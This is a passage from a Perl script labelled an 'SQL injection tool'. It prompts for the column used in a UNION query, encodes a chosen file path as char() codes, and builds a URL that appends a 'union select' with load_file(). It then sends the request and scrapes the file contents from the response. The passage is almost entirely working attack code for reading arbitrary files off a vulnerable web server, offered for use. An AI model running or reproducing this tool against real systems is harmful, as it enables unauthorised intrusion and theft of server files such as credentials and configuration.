print "Coloum with union -> "; $c=<STDIN>; $u =~ s/\n//; $f =~ s/\n//; } sub enc() { for ($i=0;$i<length($f);$i++) {$enc .= ord(substr($f, $i,1 )).',';} $enc = substr($enc, 0, length ($enc) - 1 ); $f=$enc; $enc=''; } sub burl() { print "[~] File: $f\n"; $ur = $u; $tmp=''; for ($i=0;$i<$n;$i++) { if($i==$c-1) { $tmp.="load_file(char($f)),"; } else {$tmp.="0,";} } $tmp = substr($tmp, 0, length ($tmp) - 1 ); $ur.= "+union+select+$tmp/*"; print "[~] url: $ur\n"; } sub conn () { print "[~] Sending ...\n"; my $resp = $www -> get( $ur ); $cont = $resp -> content(); } sub getres() { $s="</b><br><br>"; $e="</p></p>"; $result; #print $cont; print "[~] Start: $s \n"; print "[~] End: $e \n"; print "[~] Searching...\n "; @stringz=split("\n",$cont); for(@stringz) { if(/$e/) { $p = 0; } $result .= $_."\r\n" if $p; if(/$s/){ $p = 1; } } $result =~ tr/a-zA-Z /a-zA-Z/d; if($result) { print "[+] I found something! \n\n $result"; } else {print "[-] Not found...\n ";} $result=''; } sub uss() { print 'AOH SQL INJECTION TOOL By AoH]Slon'."\n"; print 'Use aoh.pl 1 for brute colouns'."\n\n"; }